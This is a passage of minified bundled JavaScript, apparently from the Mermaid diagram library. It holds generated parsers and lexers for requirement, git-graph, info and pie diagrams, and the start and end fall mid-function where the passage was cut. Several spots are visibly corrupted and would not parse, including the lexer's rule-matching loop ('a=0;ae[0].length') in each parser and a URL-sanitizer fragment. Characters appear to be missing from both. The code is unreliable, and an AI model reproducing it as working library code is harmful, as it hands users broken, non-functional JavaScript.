this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),14;case 1:return this.begin("type_directive"),15;case 2:return this.popState(),this.begin("arg_directive"),12;case 3:return this.popState(),this.popState(),17;case 4:return 16;case 5:return 5;case 6:case 7:case 8:break;case 9:return 8;case 10:return 6;case 11:return 23;case 12:return 34;case 13:return 26;case 14:return 25;case 15:return 28;case 16:return 30;case 17:return 32;case 18:return 35;case 19:return 36;case 20:return 37;case 21:return 38;case 22:return 39;case 23:return 40;case 24:return 41;case 25:return 42;case 26:return 43;case 27:return 44;case 28:return 45;case 29:return 46;case 30:return 47;case 31:return 48;case 32:return 59;case 33:return 60;case 34:return 61;case 35:return 62;case 36:return 63;case 37:return 64;case 38:return 65;case 39:return 51;case 40:return 53;case 41:return 55;case 42:return 58;case 43:return 57;case 44:this.begin("string");break;case 45:this.popState();break;case 46:return"qString";case 47:return e.yytext=e.yytext.trim(),66}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:$)/i,/^(?:requirementDiagram\b)/i,/^(?:\{)/i,/^(?:\})/i,/^(?::)/i,/^(?:id\b)/i,/^(?:text\b)/i,/^(?:risk\b)/i,/^(?:verifyMethod\b)/i,/^(?:requirement\b)/i,/^(?:functionalRequirement\b)/i,/^(?:interfaceRequirement\b)/i,/^(?:performanceRequirement\b)/i,/^(?:physicalRequirement\b)/i,/^(?:designConstraint\b)/i,/^(?:low\b)/i,/^(?:medium\b)/i,/^(?:high\b)/i,/^(?:analysis\b)/i,/^(?:demonstration\b)/i,/^(?:inspection\b)/i,/^(?:test\b)/i,/^(?:element\b)/i,/^(?:contains\b)/i,/^(?:copies\b)/i,/^(?:derives\b)/i,/^(?:satisfies\b)/i,/^(?:verifies\b)/i,/^(?:refines\b)/i,/^(?:traces\b)/i,/^(?:type\b)/i,/^(?:docref\b)/i,/^(?:<-)/i,/^(?:->)/i,/^(?:-)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[\w][^\r\n\{\<\>\-\=]*)/i],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},unqString:{rules:[],inclusive:!1},token:{rules:[],inclusive:!1},string:{rules:[45,46],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,47],inclusive:!0}}};function j(){this.yy={}}return F.lexer=P,j.prototype=F,F.Parser=j,new j}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},,,function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=new(n(329).default)({r:0,g:0,b:0,a:0},"transparent");e.default=r},function(t,e,n){var r=n(66),i=n(67);t.exports=function(t,e,n,a){var o=!n;n||(n={});for(var s=-1,u=e.length;++s-1&&t%1==0&&t-1}(s)?s:(n=s.match(a))?(e=n[0],r.test(e)?"about:blank":s):"about:blank"}}},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[2,3],n=[1,7],r=[7,12,15,17,19,20,21],i=[7,11,12,15,17,19,20,21],a=[2,20],o=[1,32],s={trace:function(){},yy:{},symbols_:{error:2,start:3,GG:4,":":5,document:6,EOF:7,DIR:8,options:9,body:10,OPT:11,NL:12,line:13,statement:14,COMMIT:15,commit_arg:16,BRANCH:17,ID:18,CHECKOUT:19,MERGE:20,RESET:21,reset_arg:22,STR:23,HEAD:24,reset_parents:25,CARET:26,$accept:0,$end:1},terminals_:{2:"error",4:"GG",5:":",7:"EOF",8:"DIR",11:"OPT",12:"NL",15:"COMMIT",17:"BRANCH",18:"ID",19:"CHECKOUT",20:"MERGE",21:"RESET",23:"STR",24:"HEAD",26:"CARET"},productions_:[0,[3,4],[3,5],[6,0],[6,2],[9,2],[9,1],[10,0],[10,2],[13,2],[13,1],[14,2],[14,2],[14,2],[14,2],[14,2],[16,0],[16,1],[22,2],[22,2],[25,0],[25,2]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 1:return a[s-1];case 2:return r.setDirection(a[s-3]),a[s-1];case 4:r.setOptions(a[s-1]),this.$=a[s];break;case 5:a[s-1]+=a[s],this.$=a[s-1];break;case 7:this.$=[];break;case 8:a[s-1].push(a[s]),this.$=a[s-1];break;case 9:this.$=a[s-1];break;case 11:r.commit(a[s]);break;case 12:r.branch(a[s]);break;case 13:r.checkout(a[s]);break;case 14:r.merge(a[s]);break;case 15:r.reset(a[s]);break;case 16:this.$="";break;case 17:this.$=a[s];break;case 18:this.$=a[s-1]+":"+a[s];break;case 19:this.$=a[s-1]+":"+r.count,r.count=0;break;case 20:r.count=0;break;case 21:r.count+=1}},table:[{3:1,4:[1,2]},{1:[3]},{5:[1,3],8:[1,4]},{6:5,7:e,9:6,12:n},{5:[1,8]},{7:[1,9]},t(r,[2,7],{10:10,11:[1,11]}),t(i,[2,6]),{6:12,7:e,9:6,12:n},{1:[2,1]},{7:[2,4],12:[1,15],13:13,14:14,15:[1,16],17:[1,17],19:[1,18],20:[1,19],21:[1,20]},t(i,[2,5]),{7:[1,21]},t(r,[2,8]),{12:[1,22]},t(r,[2,10]),{12:[2,16],16:23,23:[1,24]},{18:[1,25]},{18:[1,26]},{18:[1,27]},{18:[1,30],22:28,24:[1,29]},{1:[2,2]},t(r,[2,9]),{12:[2,11]},{12:[2,17]},{12:[2,12]},{12:[2,13]},{12:[2,14]},{12:[2,15]},{12:a,25:31,26:o},{12:a,25:33,26:o},{12:[2,18]},{12:a,25:34,26:o},{12:[2,19]},{12:[2,21]}],defaultActions:{9:[2,1],21:[2,2],23:[2,11],24:[2,17],25:[2,12],26:[2,13],27:[2,14],28:[2,15],31:[2,18],33:[2,19],34:[2,21]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},u={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return 12;case 1:case 2:case 3:break;case 4:return 4;case 5:return 15;case 6:return 17;case 7:return 20;case 8:return 21;case 9:return 19;case 10:case 11:return 8;case 12:return 5;case 13:return 26;case 14:this.begin("options");break;case 15:this.popState();break;case 16:return 11;case 17:this.begin("string");break;case 18:this.popState();break;case 19:return 23;case 20:return 18;case 21:return 7}},rules:[/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:gitGraph\b)/i,/^(?:commit\b)/i,/^(?:branch\b)/i,/^(?:merge\b)/i,/^(?:reset\b)/i,/^(?:checkout\b)/i,/^(?:LR\b)/i,/^(?:BT\b)/i,/^(?::)/i,/^(?:\^)/i,/^(?:options\r?\n)/i,/^(?:end\r?\n)/i,/^(?:[^\n]+\r?\n)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[a-zA-Z][-_\.a-zA-Z0-9]*[-_a-zA-Z0-9])/i,/^(?:$)/i],conditions:{options:{rules:[15,16],inclusive:!1},string:{rules:[18,19],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,17,20,21],inclusive:!0}}};function c(){this.yy={}}return s.lexer=u,c.prototype=s,s.Parser=c,new c}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[6,9,10],n={trace:function(){},yy:{},symbols_:{error:2,start:3,info:4,document:5,EOF:6,line:7,statement:8,NL:9,showInfo:10,$accept:0,$end:1},terminals_:{2:"error",4:"info",6:"EOF",9:"NL",10:"showInfo"},productions_:[0,[3,3],[5,0],[5,2],[7,1],[7,1],[8,1]],performAction:function(t,e,n,r,i,a,o){a.length;switch(i){case 1:return r;case 4:break;case 6:r.setInfo(!0)}},table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:6,9:[1,7],10:[1,8]},{1:[2,1]},t(e,[2,3]),t(e,[2,4]),t(e,[2,5]),t(e,[2,6])],defaultActions:{4:[2,1]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},r={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return 4;case 1:return 9;case 2:return"space";case 3:return 10;case 4:return 6;case 5:return"TXT"}},rules:[/^(?:info\b)/i,/^(?:[\s\n\r]+)/i,/^(?:[\s]+)/i,/^(?:showInfo\b)/i,/^(?:$)/i,/^(?:.)/i],conditions:{INITIAL:{rules:[0,1,2,3,4,5],inclusive:!0}}};function i(){this.yy={}}return n.lexer=r,i.prototype=n,n.Parser=i,new i}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,4],n=[1,5],r=[1,6],i=[1,7],a=[1,9],o=[1,11,13,20,21,22,23],s=[2,5],u=[1,6,11,13,20,21,22,23],c=[20,21,22],l=[2,8],h=[1,18],f=[1,19],d=[1,24],p=[6,20,21,22,23],y={trace:function(){},yy:{},symbols_:{error:2,start:3,eol:4,directive:5,PIE:6,document:7,showData:8,line:9,statement:10,txt:11,value:12,title:13,title_value:14,openDirective:15,typeDirective:16,closeDirective:17,":":18,argDirective:19,NEWLINE:20,";":21,EOF:22,open_directive:23,type_directive:24,arg_directive:25,close_directive:26,$accept:0,$end:1},terminals_:{2:"error",6:"PIE",8:"showData",11:"txt",12:"value",13:"title",14:"title_value",18:":",20:"NEWLINE",21:";",22:"EOF",23:"open_directive",24:"type_directive",25:"arg_directive",26:"close_directive"},productions_:[0,[3,2],[3,2],[3,2],[3,3],[7,0],[7,2],[9,2],[10,0],[10,2],[10,2],[10,1],[5,3],[5,5],[4,1],[4,1],[4,1],[15,1],[16,1],[19,1],[17,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 4:r.setShowData(!0);break;case 7:this.$=a[s-1];break;case 9:r.addSection(a[s-1],r.cleanupValue(a[s]));break;case 10:this.$=a[s].trim(),r.setTitle(this.$);break;case 17:r.parseDirective("%%{","open_directive");break;case 18:r.parseDirective(a[s],"type_directive");break;case 19:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 20:r.parseDirective("}%%","close_directive","pie")}},table:[{3:1,4:2,5:3,6:e,15:8,20:n,21:r,22:i,23:a},{1:[3]},{3:10,4:2,5:3,6:e,15:8,20:n,21:r,22:i,23:a},{3:11,4:2,5:3,6:e,15:8,20:n,21:r,22:i,23:a},t(o,s,{7:12,8:[1,13]}),t(u,[2,14]),t(u,[2,15]),t(u,[2,16]),{16:14,24:[1,15]},{24:[2,17]},{1:[2,1]},{1:[2,2]},t(c,l,{15:8,9:16,10:17,5:20,1:[2,3],11:h,13:f,23:a}),t(o,s,{7:21}),{17:22,18:[1,23],26:d},t([18,26],[2,18]),t(o,[2,6]),{4:25,20:n,21:r,22:i},{12:[1,26]},{14:[1,27]},t(c,[2,11]),t(c,l,{15:8,9:16,10:17,5:20,1:[2,4],11:h,13:f,23:a}),t(p,[2,12]),{19:28,25:[1,29]},t(p,[2,20]),t(o,[2,7]),t(c,[2,9]),t(c,[2,10]),{17:30,26:d},{26:[2,19]},t(p,[2,13])],defaultActions:{9:[2,17],10:[2,1],11:[2,2],29:[2,19]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},g={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return 